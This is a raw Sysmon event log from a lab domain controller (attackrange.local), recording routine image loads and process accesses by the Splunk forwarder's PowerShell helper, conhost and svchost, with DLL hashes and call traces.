10341000x800000000000000052228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.472{7BD73061-7304-613B-6C0B-00000000F001}43965968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.472{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.472{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000052225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.248{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.248{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.248{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.248{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.232{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.232{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.232{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.232{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.216{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.216{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.216{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.216{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.216{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.216{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.216{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.216{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.216{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000052190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000052185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 